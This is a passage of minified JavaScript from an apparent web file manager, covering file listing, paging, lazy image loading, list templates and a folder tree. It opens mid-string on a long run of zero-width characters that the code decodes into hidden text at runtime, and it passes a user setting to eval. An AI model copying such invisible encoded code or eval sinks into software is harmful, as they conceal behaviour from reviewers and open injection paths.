‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),fileContent.init(),resetDesktopIcon(),ui.path.history.add(G.this_path),f5Callback(function(){resetDesktopIcon()}),bindEventView(),bindEventSort(),bindEventTheme(),bindEventTools(),bindHotKey(),bindEventMenu()}}}),define("app/src/explorer/fileContent",[],function(require,exports){var myPicasa=new Picasa,tpl=require("./tpl/file_list_make.html"),pageLoadMax=200,ajaxLive=function(){ui.fileLight.init(),"desktop"==Config.pageApp&&ui.resetDesktopIcon(),"list_split"==G.user_config.list_type&&ui.fileListResize.bindSplitResize(),lazyLoadImage()},lazyLoadImage=function(){var e=$(".bodymain");"list_split"==G.user_config.list_type&&(e=$(".split_box").last().find(".content")),e.find(".lazyload_ready").lazyload({failure_limit:10,threshold:200,placeholder:G.static_path+"images/common/loading_circle.gif",skip_invisible:!1,effect:"fadeIn",container:e,load:function(){$(this).removeClass("lazyload_ready")}}).on("error",function(){var e=$(this).data("error_reload");e||($(this).attr("src",$(this).attr("src")+"#"+UUID()),$(this).data("error_reload","reload"))})},sortBy=function(e,t){var t="down"==t?-1:1;return function(i,a){var i=i[e],a=a[e];return ui.path.pathOperate.strSort(i,a)*t}},mainSetData=function(e){var t=makeHtml(G.json_data,0,getPageNumber()-1);if("desktop"==Config.pageApp){var i="";$(".systemBox").each(function(){i+=$(this).get(0).outerHTML}),t=i+t}t=htmlListAction(G.json_data,t,!1),"list_split"==G.user_config.list_type&&(t='
        '+t+'
        '),e?$(Config.FileBoxSelector).hide().html(t).fadeIn(Config.AnimateTime):$(Config.FileBoxSelector).html(t),"list_split"==G.user_config.list_type&&$(".split_box").data("jsonData",G.json_data),ajaxLive()},scrollDelayTimer="",bindScrollLoadMore=function(){var e=$(".bodymain");e.scroll(function(){clearTimeout(scrollDelayTimer),scrollDelayTimer=!1,scrollDelayTimer=setTimeout(function(){0!=e.scrollTop()&&loadMore()},100)}),$(".splitLoadMore").live("dblclick",function(){$("#set_list").click()})},getPageNumber=function(){var e=ui.fileLight.fileListAll().last(),t=$(".bodymain .fileContinerMore");if(0==e.length)return pageLoadMax;var i=G.json_data.folderlist.length+G.json_data.filelist.length;if(t.css("top",0),pageLoadMax>i||"list_split"==G.user_config.list_type)return pageLoadMax;var e=ui.fileLight.fileListAll().last(),a=e.outerWidth()+$sizeInt(e.css("margin-right"))+3.5,n=parseInt($(".fileContiner").width()/a);"icon"!=G.user_config.list_type&&(n=1);var o=e.outerHeight()+$sizeInt(e.css("margin-bottom")),s=Math.ceil($(Config.BodyContent).height()/o),r=Math.ceil(i/n)*o;return t.css("top",r),s*n},resetTotalHeight=function(){var e=".bodymain .fileContiner > .file",t=$(e).last(),i=$(".bodymain .fileContinerMore");if(0!=t.length){var a=G.json_data.folderlist.length+G.json_data.filelist.length;if(i.css("top",0),!(pageLoadMax>a||"list_split"==G.user_config.list_type)){var n=t.outerWidth()+$sizeInt(t.css("margin-right")),o=parseInt($(".fileContiner").width()/n);"icon"!=G.user_config.list_type&&(o=1);var s=t.outerHeight()+$sizeInt(t.css("margin-bottom"));Math.ceil($(Config.BodyContent).height()/s);var r=Math.ceil(a/o)*s;i.css("top",r)}}},loadMoreDelayTimer,loadMore=function(){var e=$(".bodymain .fileContiner > .file"),t=e.last(),i=e.length-1,a=G.json_data.folderlist.length+G.json_data.filelist.length;if(!(i>=a-1||"list_split"==G.user_config.list_type)){var n=$(".bodymain").scrollTop(),o=$(".bodymain").height(),s=$(".bodymain").offset().top;$(".fileContiner").offset().top;var r=t.outerHeight()+$sizeInt(t.css("margin-bottom")),l=s+o-r;if(l>t.offset().top){var c=l-t.offset().top,d=getPageNumber(),p=Math.ceil(c/o),u=p*d+i;u>a&&(u=a),u-i>1e3?($(".init_loading").show(),clearTimeout(loadMoreDelayTimer),loadMoreDelayTimer=setTimeout(function(){loadMoreSet(i+1,u),$(".bodymain").scrollTop(n)},300)):loadMoreSet(i+1,u)}}},loadMoreSet=function(e,t){var i=makeHtml(G.json_data,e,t),a=$(i);a.appendTo(".fileContiner"),ui.fileLight.fileListAll($(Config.FileBoxClass)),ui.fileLight.menuAction("clear"),lazyLoadImage(),$(".init_loading").hide()},makeHtml=function(e,t,i){var a=template.compile(tpl),n="",o=[];o="up"==G.user_config.list_sort_order?e.folderlist.concat(e.filelist):e.filelist.concat(e.folderlist),(!i||i>=o.length-1)&&(i=o.length-1);for(var s=t;i>=s;s++){var r="folder"==o[s].type?"_folder":"_file",l={LNG:LNG,G:G,list:o[s],index:s,type:G.user_config.list_type+r};o[s].icon&&"icon_file"==l.type&&"oexe"==o[s].ext&&(l.oexe_icon=o[s].icon,"string"==$.type(o[s].icon)&&-1==o[s].icon.search(G.static_path)&&"http"!=o[s].icon.substring(0,4)&&(l.oexe_icon=G.static_path+"images/file_icon/icon_app/"+o[s].icon)),n+=a(l)}return n},pathChildrenTree=function(e,t){if("string"==$.type(e))var i=$('.file[data-path="'+pathHashEncode(e)+'"]');else{var i=e;e=ui.fileLight.path(i)}if(1==i.length){var a=i.find(".children_more"),n=i.find(".children_more_cert"),o=$('.children_list[data-path-children="'+pathHashEncode(e)+'"]'),s=23;if(n.toggleClass("cert_open"),o.toggleClass("hidden"),o.hasClass("child_aredy_init"))return pathListOdd(),void 0;i.addClass("loading_children"),pathGet(e,function(e){i.removeClass("loading_children");var n=makeHtml(e,0,getPageNumber()-1);""!=n&&(n=htmlListAction(e,n,!0)),o.html(n),ajaxLive(),o.addClass("child_aredy_init");var r=s+parseInt(a.css("padding-left"));o.find(".file .children_more").css("padding-left",r),pathListOdd(),"function"==typeof t&&t(e)})}},htmlListAction=function(e,t,i){if(""==t)return t='
        '+LNG.path_null+"
        ";var a=e.folderlist.concat(e.filelist);if(a.length>pageLoadMax){var n=core.pathFather(a[0].path);"list"==G.user_config.list_type&&i?t+='
        '+'
        '+''+'
        '+''+LNG.file_load_all+""+"
        "+"
        ":"list_split"==G.user_config.list_type&&(t+='
        '+'
        '+'
        '+''+LNG.file_load_all+"(to list)"+"
        "+"
        ")}return t},pathListOdd=function(){var e=0;ui.fileLight.fileListAll().each(function(){0==$(this).parents(".hidden").length&&(0==e%2?$(this).addClass("file2"):$(this).removeClass("file2"),e++)})},pathChildrenSplit=function(e,t){var i=$('.file[data-path="'+pathHashEncode(e)+'"]'),a=$(".fileList_list_split .split_box[data-path='"+pathHashEncode(e)+"']");if(0==i.length)return"function"==typeof t&&t(),void 0;if(1==a.length)return a.nextAll().remove(),"function"==typeof t&&t(),void 0;var n=i.parent().parent();pathSplitCreate(e,t,n)},pathSplitCreate=function(e,t,i){pathGet(e,function(a){if("not_exists"==a.path_read_write)return t(a);var n=makeHtml(a,0,getPageNumber()-1);if(n=htmlListAction(a,n,!0),i)if(i.nextAll(".split_box").length>0){var o=i.next(".split_box");o.attr("data-path",pathHashEncode(e)).find(".content").html(n),o.nextAll().remove()}else n='
        '+n+'
        ',$(n).insertAfter(i).data("jsonData",a);else n='
        '+n+'
        ',$(n).appendTo(".fileList_list_split").data("jsonData",a);ajaxLive(),"function"==typeof t&&t()})},beforeSelectFileArr={},beforeListOpenArr={},beforeListOpen={},beforeListSplitSelect="",beforeScrollerLeft=0,f5Before=function(){if(!("icon"==G.user_config.list_type||beforeListOpenArr.length>0))if(beforeListOpenArr={},beforeListOpen={},"list"==G.user_config.list_type){var e=$(".child_aredy_init:visible");if(1>e.length)return;e.each(function(){var e=$(this),t=beforeListOpenArr,i=ui.fileLight.path(e,"data-path-children");beforeListOpen[i]=!1;for(var a=[i];0!=e.parents(".children_list").length;)e=e.parents(".children_list"),a.push(ui.fileLight.path(e,"data-path-children"));for(var n=a.length-1;n>=0;n--){var o=a[n];t[o]!==void 0?t=t[o]:t[o]={}}})}else if("list_split"==G.user_config.list_type){var t=beforeListOpenArr;beforeScrollerLeft=$(".html5_drag_upload_box").scrollLeft(),beforeListSplitSelect=ui.fileLight.path($(".fileList_list_split .split_box.split_select")),$(".fileContiner .split_box").each(function(){var e=ui.fileLight.path($(this));""!=e&&(t[e]={},t=t[e],beforeListOpen[e]=!1)})}},f5After=function(e){return"icon"==G.user_config.list_type||0==Object.keys(beforeListOpenArr).length?(f5AfterReloadFinished(e),void 0):("list_split"==G.user_config.list_type&&$(".fileList_list_split .split_box").remove(),f5AfterReload(beforeListOpenArr,e),void 0)},f5AfterReload=function(e,t){$.each(e,function(e,i){var a=pathChildrenTree;"list_split"==G.user_config.list_type&&(a=pathSplitCreate),a(e,function(){beforeListOpen[e]=!0,0!=Object.keys(i).length?f5AfterReload(i,t):f5AfterReloadFinished(t)})}),f5AfterReloadFinished(t)},f5AfterReloadFinished=function(e){for(var t in beforeListOpen)if(beforeListOpen[t]===!1)return;$(".html5_drag_upload_box").scrollLeft(beforeScrollerLeft),ui.path.setSelectByFilename(beforeSelectFileArr),ui.fileSelect.selectSplit(beforeListSplitSelect),beforeListOpenArr={},beforeListOpen={},beforeSelectFileArr={},beforeListSplitSelect="","function"==typeof e&&e()},f5=function(e,t,i){if(void 0==e&&(e=!0),void 0==t&&(t=!1),jsonDataSortTitle(),f5Before(),beforeSelectFileArr=ui.fileLight.getAllName(),e?pathGet(G.this_path,function(e){G.json_data=e,mainSetData(t),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(i),"desktop"!=Config.pageApp?ui.headerAddress.addressSet():checkRecycle()},function(){$(Config.FileBoxSelector).html("")}):(G.json_data=jsonDataSort(G.json_data),mainSetData(t),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(i)),"desktop"!=Config.pageApp){var a=G.user_id||G.sid;LocalData.set("this_path_"+a,G.this_path)}},jsonDataSort=function(e){e=jsonDatafilter(e);var t=e.folderlist,i=e.filelist;return t="size"==G.user_config.list_sort_field||"ext"==G.user_config.list_sort_field?t.sort(sortBy("name",G.user_config.list_sort_order)):t.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),i=i.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),e.folderlist=t,e.filelist=i,e},pathGet=function(e,t,i){var a="index.php?explorer/pathList&path="+urlEncode(e);G.user&&(a="index.php?share/pathList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),$.ajax({url:a,dataType:"json",beforeSend:function(){$(".tools-left .msg").stop(!0,!0).fadeIn(200) -},success:function(e){if($(".tools-left .msg").fadeOut(300),!e||!e.code)return Tips.tips(e),"function"==typeof i&&i(),!1;var a=jsonDataSort(e.data);"function"==typeof t&&t(a)},error:function(e,t,a){$(".tools-left .msg").fadeOut(300),core.ajaxError(e,t,a),"function"==typeof i&&i()}})},f5Callback=function(e){f5(!0,!1,e)},jsonDatafilter=function(e){if(!e)return json_data;if(void 0!=e.share_list&&(self_share=e.share_list),e.filter_success===!0)return e;for(var t in e)if("filelist"==t||"folderlist"==t)for(var i=0;e[t].length>i;i++){var a=e[t][i];if(a.mtime&&11>=(""+a.mtime).length)if(a.atime=date(LNG.time_type,a.atime),a.ctime=date(LNG.time_type,a.ctime),e.info&&e.info.path_type==G.KOD_USER_SHARE&&-1==trim(e.this_path,"/").indexOf("/")){var n=parseInt(a.num_view);n=isNaN(n)?0:n;var o=parseInt(a.num_download);o=isNaN(o)?0:o;var s=date("Y/m/d ",a.mtime)+" ";s+=LNG.share_view_num+n+" "+LNG.share_download_num+o,a.mtime=s}else a.mtime=date(LNG.time_type,a.mtime);a.name=htmlEncode(a.name),a.sid&&"file"==a.type&&(a.ext=htmlEncode(core.pathExt(a.path))),pathIsShare(a.path)?a.meta_info="path_self_share":pathIsFav(a.path)&&(a.meta_info="treeFav"),"number"==typeof a.is_readable&&0==a.is_readable?a.mode="["+LNG.not_read+"] "+a.mode:"number"==typeof a.is_writeable&&1==a.is_writeable?a.mode="["+LNG.system_role_write+"] "+a.mode:"number"==typeof a.is_readable&&1==a.is_readable&&(a.mode="["+LNG.only_read+"] "+a.mode),e.info&&e.info.path_type==G.KOD_USER_RECYCLE&&trim(e.this_path,"/")==G.KOD_USER_RECYCLE&&(a.menuType="menuRecyclePath")}return e.filter_success=!0,e},jsonDataSortTitle=function(){var up='',down='';$("#main_title .this").toggleClass("this").attr("id","").find("span").html(""),$("#main_title div[field="+G.user_config.list_sort_field+"]").addClass("this").attr("id",G.user_config.list_sort_order).find("span").html(eval(G.user_config.list_sort_order))},pathIsShare=function(e){for(var t in G.self_share)if(core.pathClear(G.self_share[t].path)==core.pathClear(e))return!0;return!1},pathIsFav=function(e){var t=G.fav_list;for(var i in t)if(core.pathClear(i)==core.pathClear(e))return!0;return!1},checkRecycle=function(){$.ajax({url:"index.php?explorer/pathList&type=desktop&path="+G.KOD_USER_RECYCLE,dataType:"json",error:core.ajaxError,success:function(e){if(!e.code)return!1;var t=core.icon("recycle_full");0==e.data.folderlist.length&&0==e.data.filelist.length&&(t=core.icon("recycle")),$(".menuRecycleButton .ico").html(t)}})},pathTypeChange=function(e){if(e.info){var t=e.info,i=t.path_type,a=e.path_read_write,n="menuBodyMain menuRecycleBody menuShareBody",o=$(".html5_drag_upload_box");t.can_upload=!0,(void 0!=a&&"writeable"!=a||i==G.KOD_GROUP_SHARE&&"owner"!=t.role&&1!=G.is_root||i==G.KOD_USER_SHARE&&"owner"!=t.role&&1!=G.is_root||i==G.KOD_GROUP_PATH&&"guest"==t.role&&1!=G.is_root||i==G.KOD_USER_FAV||i==G.KOD_USER_RECYCLE||i==G.KOD_GROUP_ROOT_ALL||i==G.KOD_GROUP_ROOT_SELF)&&(t.can_upload=!1);var s=[G.KOD_USER_SHARE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL];i==G.KOD_USER_RECYCLE?(o.removeClass(n).addClass("menuRecycleBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_recycle_tool").removeClass("hidden")):-1!==s.indexOf(i)?-1===core.pathClear(rtrim(G.this_path,"/")).indexOf("/")?(o.removeClass(n).addClass("menuShareBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_share_tool").removeClass("hidden"),t.id==G.user_id?($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").removeClass("hidden"),$(".menuSharePathMore").find(".remove").removeClass("hidden")):($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").addClass("hidden"),$(".menuSharePathMore").find(".remove").addClass("hidden"))):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")),currentPathMenu(e)}},currentPathMenu=function(e){var t=e.info,i=e.path_read_write,a=t.path_type,n=".createLink,.createProject,.cute,.remove,.rname,.zip,.unzip,.newfile,.newfolder,.newfileOther,.app_create,.app_install,.past,.upload,.clone",o="#download,#rename,#cute,#remove,#zip,#past,#clone,#share,#rname,#createLink,.divider",s="disable";if(t.can_upload?($("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).removeClass(s),$(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled"),$(".kod_path_tool").find(o).removeClass("hidden")):($(".kod_path_tool").find(o).addClass("hidden"),$(".kod_path_tool>button").addClass("disabled"),$("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).addClass(s),$(".path_tips span").html(LNG.only_read),a==G.KOD_USER_RECYCLE||a==G.KOD_USER_SHARE?($(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled"),a==G.KOD_USER_SHARE&&G.user_id!=t.id&&$(".kod_path_tool>button").addClass("disabled")):$(".path_tips").show()),(a==G.KOD_GROUP_PATH||a==G.KOD_GROUP_SHARE)&&G.is_root||a==G.KOD_GROUP_PATH&&"owner"==t.role){var r=e.group_space_use;if(r){var l=core.userSpaceHtml(r.size_use+"/"+r.size_max);$(".group_space_use").removeClass("hidden").html(l)}else $(".group_space_use").addClass("hidden")}else $(".group_space_use").addClass("hidden");if(e.user_space){var r=e.user_space,l=core.userSpaceHtml(r.size_use+"/"+r.size_max);$(".user_space_info").html(l)}"not_exists"==i&&($(".path_tips span").html(LNG.not_exists),$(".path_tips").show()),1==G.is_root&&t.admin_real_path?$(".admin_real_path").removeClass("hidden"):$(".admin_real_path").addClass("hidden")};return{f5:f5,f5Callback:f5Callback,pathTypeChange:pathTypeChange,pathChildrenTree:pathChildrenTree,pathChildrenSplit:pathChildrenSplit,myPicasa:myPicasa,init:function(){$(window).bind("resize",function(){resetTotalHeight(),"desktop"==Config.pageApp?ui.resetDesktopIcon():ui.headerAddress.resetWidth(),"none"!=$("#PicasaView").css("display")&&myPicasa.setFrameResize()}),bindScrollLoadMore(),myPicasa.init(".picasaImage"),myPicasa.initData()}}}),define("app/src/explorer/tpl/file_list_make.html",[],"\n{{if type=='icon_folder'}}\n
        \n
        \n {{if list.ext}}\n {{list.ext |core.icon}}\n {{else}}\n {{\"folder\" |core.icon}}\n {{/if}}\n
        \n {{if list.meta_info}}\n
        {{list.meta_info |core.icon}}
        \n {{/if}}\n
        \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n
        \n
        \n\n\n{{else if type=='list_folder'}}\n
        \n
        \n {{if list.meta_info}}\n
        {{list.meta_info |core.icon}}
        \n {{/if}}\n \n {{if list.isParent&&list.is_readable}}{{/if}}\n \n
        \n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n
        \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n
        \n
        {{LNG.folder}}
        \n
        \n
        {{list.mtime}}
        \n
        \n
        \n{{if list.isParent&&list.is_readable}}\n
        \n{{/if}}\n\n\n{{else if type=='list_split_folder'}}\n
        \n
        \n {{if list.meta_info}}\n
        {{list.meta_info |core.icon}}
        \n {{/if}}\n
        \n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n
        \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n \n {{if list.is_readable && typeof(list.menuType)==\"undefined\"}}\n \n {{/if}}\n \n
        \n
        \n\n\n{{else if type=='icon_file'}}\n
        \n {{if window.inArray(core.filetype['image'],list.ext)}}\n
        \n {{if window.G.sid}}\n \n {{else}}\n \n {{/if}}\n
        \n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
        \n {{list.name.replace('.oexe','') |core.pathExt|core.icon}}\n
        \n {{else if list.content.search('ui.path.list') == 0}}\n
        \n {{list.icon |core.icon}}\n
        \n {{else}}\n
        {{\"folder\" |core.icon}}
        \n {{/if}}\n
        {{'app_link' |core.icon}}
        \n {{else}}\n
        \n {{if list.ext=='oexe'}}\n {{oexe_icon |core.iconSrc}}\n {{else}}\n {{list.ext |core.icon}}\n {{/if}}\n
        \n {{/if}}\n {{if list.meta_info}}\n
        {{list.meta_info |core.icon}}
        \n {{/if}}\n
        \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
        \n
        \n\n\n{{else if type=='list_file'}}\n
        \n
        \n \n {{if window.inArray(core.filetype['image'],list.ext)}}\n
        \n {{if window.G.sid}}\n \n {{else}}\n \n {{/if}}\n
        \n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
        \n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n
        \n {{else if list.content.search('ui.path.list') == 0}}\n
        \n {{list.icon |core.icon}}\n
        \n {{else}}\n
        {{\"folder\" |core.iconSmall}}
        \n {{/if}}\n
        {{'app_link' |core.icon}}
        \n {{else}}\n
        \n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n
        \n {{/if}}\n {{if list.meta_info}}\n
        {{list.meta_info |core.icon}}
        \n {{/if}}\n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
        \n
        {{list.ext |window.htmlEncode}} {{LNG.file}}
        \n
        {{list.size |core.fileSize}}
        \n
        {{list.mtime}}
        \n
        \n
        \n\n\n{{else if type=='list_split_file'}}\n
        \n
        \n {{if window.inArray(core.filetype['image'],list.ext)}}\n
        \n {{if window.G.sid}}\n \n {{else}}\n \n {{/if}}\n
        \n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
        \n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n
        \n {{else if list.content.search('ui.path.list') == 0}}\n
        \n {{list.icon |core.icon}}\n
        \n {{else}}\n
        {{\"folder\" |core.iconSmall}}
        \n {{/if}}\n
        {{'app_link' |core.icon}}
        \n {{else}}\n
        \n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n
        \n {{/if}}\n\n {{if list.meta_info}}\n
        {{list.meta_info |core.icon}}
        \n {{/if}}\n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
        \n
        \n{{/if}}\n\n"),define("app/common/tree",["./pathOperate","./pathOpen","./myPlayer"],function(e){var t,i=e("./pathOperate"),a=e("./pathOpen"),n=!1;ui.pathOpen=a,ui.pathOperate=i;var o,s=function(){0!=$("#windowMaskView").length&&"block"==$("#windowMaskView").css("display")&&inArray(core.filetype.image,f().type)&&a.open(f().path,f().type)},r=function(e,t){if(e&&e[0]&&-1!==$.inArray(e[0].menuType,["menuTreeGroup","menuTreeFav"]))return e;for(var i=[],a=[],n=0;e.length>n;n++)e[n].drop=!1,e[n].drag=!1,e[n].name=e[n].name,e[n].isParent&&e[n].children&&(e[n].children=r(e[n].children)),e[n].is_writeable,"folder"==e[n].type?a.push(e[n]):i.push(e[n]);return t?e:(a=a.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),i=i.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),a.concat(i))},l=function(){var e={},t="tree_open_"+md5(Config.pageApp),i=function(e){if(!LocalData.support())return{};if(void 0==e){var i=LocalData.getConfig(t);return 0==i?{}:i}LocalData.setConfig(t,e)},a=function(t){for(var i=0;t.length>i;i++){var a=t[i].path;void 0!==e[a]&&(t[i].open=e[a])}return t},n=function(){for(var t=o.getNodesByFilter(function(e){return 0==e.level?!0:!1}),a={},n=0;t.length>n;n++)a[t[n].path]=t[n].open;return e=a,i(e),e};return e=i(),{list:function(){return e},reset:a,save:n}}(),c=function(){$.ajax({url:Config.treeAjaxURL+"&type=init",dataType:"json",error:function(){$("#folderList").html('
        '+LNG.system_error+"
        ")},success:function(e){if(!e.code)return $("#folderList").html('
        '+LNG.system_error+"
        "),void 0;var t=r(e.data,!0);t=l.reset(t),$.fn.zTree.init($("#folderList"),u,t),o=$.fn.zTree.getZTreeObj("folderList")}}),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),"editor"==Config.pageApp&&(Mousetrap.bind("up",function(e){d(e,"up")}).bind("down",function(e){d(e,"down")}).bind("left",function(e){d(e,"left")}).bind("right",function(e){d(e,"right")}),Mousetrap.bind("enter",function(){tree.open()}).bind(["del","command+backspace"],function(){tree.remove()}).bind("f2",function(e){stopPP(e),tree.rname()}).bind(["ctrl+f","command+f"],function(e){stopPP(e),tree.search()}).bind(["ctrl+c","command+c"],function(){tree.copy()}).bind(["ctrl+x","command+x"],function(){tree.cute()}).bind(["ctrl+v","command+v"],function(){tree.past()}).bind("alt+m",function(){tree.create("folder")}).bind("alt+n",function(){tree.create("file")}))},d=function(e,t){stopPP(e);var i=o.getSelectedNodes()[0];if(i){switch(t){case"up":var a=i.getPreNode();if(a){if(a.open&&a.children.length>0)for(;a.open&&a.children&&a.children.length>=1;)a=a.children[a.children.length-1]}else a=i.getParentNode();o.selectNode(a);break;case"down":if(i.open&&i.children.length>=1)a=i.children[0];else{var n=i,a=n.getNextNode()||n.getParentNode().getNextNode();try{for(;!a;)n=n.getParentNode(),a=n.getNextNode()||n.getParentNode().getNextNode()}catch(e){}}o.selectNode(a);break;case"left":i.isParent?i.open?o.expandNode(i,!1):o.selectNode(i.getParentNode()):o.selectNode(i.getParentNode());break;case"right":i.open?o.selectNode(i.children[0]):o.expandNode(i,!0);break;default:}s()}},p=function(){return"editor"==Config.pageApp?!1:!0},u={async:{enable:!0,dataType:"json",url:Config.treeAjaxURL,autoParam:["ajax_path=path","tree_icon=tree_icon"],dataFilter:function(e,t,i){return i.code?r(i.data):null}},edit:{enable:!0,showRemoveBtn:!1,showRenameBtn:!1,drag:{isCopy:!1,isMove:!1}},view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before(''+core.iconSmall(o)+"").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="";a.before(s)}var r="";void 0!=t.menuType?r=t.menuType:(("file"==t.type||"oexe"==t.ext)&&(r="menuTreeFile"),"folder"==t.type&&(r="menuTreeFolder"));var l=LNG.name+":"+t.name+"\n"+LNG.size+":"+core.fileSize(t.size)+"\n"+LNG.modify_time+":"+t.mtime;"file"!=t.type&&(l=t.name),a.parent().addClass(r).attr("title",l),0==t.is_writeable&&a.parent().addClass("file_not_writeable"),0==t.is_readable&&a.parent().addClass("file_not_readable")}},callback:{onClick:function(e,t,i){return o.selectNode(i),"editor"==Config.pageApp&&"folder"==i.type?(o.expandNode(i),void 0):("editor"==Config.pageApp||"folder"!=i.type?ui.tree.openEditor():ui.path.list(i.path),void 0)},beforeDblClick:function(){return!0},onCollapse:function(e,t,i){0==i.level&&l.save()},onExpand:function(e,t,i){0==i.level&&l.save()},onDblClick:function(e,t,i){return $(e.target).hasClass("switch")||!p()?!1:(o.expandNode(i),void 0)},beforeRightClick:function(e,t){o.selectNode(t)},beforeAsync:function(e,t){t.ajax_name=t.name,t.ajax_path=t.path,$("#"+t.tId+"_my_ico").addClass("ico_loading")},onAsyncSuccess:function(e,i,a,n){return $("#"+a.tId+"_my_ico").removeClass("ico_loading"),0==n.data.length?(o.removeChildNodes(a),void 0):("function"==typeof t&&(t(),t=void 0),void 0)},onRename:function(e,a,n){var s=n.getParentNode();if(o.getNodesByParam("name",n.name,s).length>1)return Tips.tips(LNG.name_isexists,!1),o.removeNode(n),void 0;if(n.create){var r=n.path+"/"+n.name;"folder"==n.type?i.newFolder(r,function(){t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g()},h(s)}):i.newFile(r,function(){t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g()},h(s)})}else{var l=rtrim(n.path,"/"),c=core.pathFather(n.path)+n.name;i.rname(l,c,function(e){n.path=e,t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g(),"folder"==n.type&&ui.path.list(n.path)},h(s)})}},beforeDrag:function(e,t){for(var 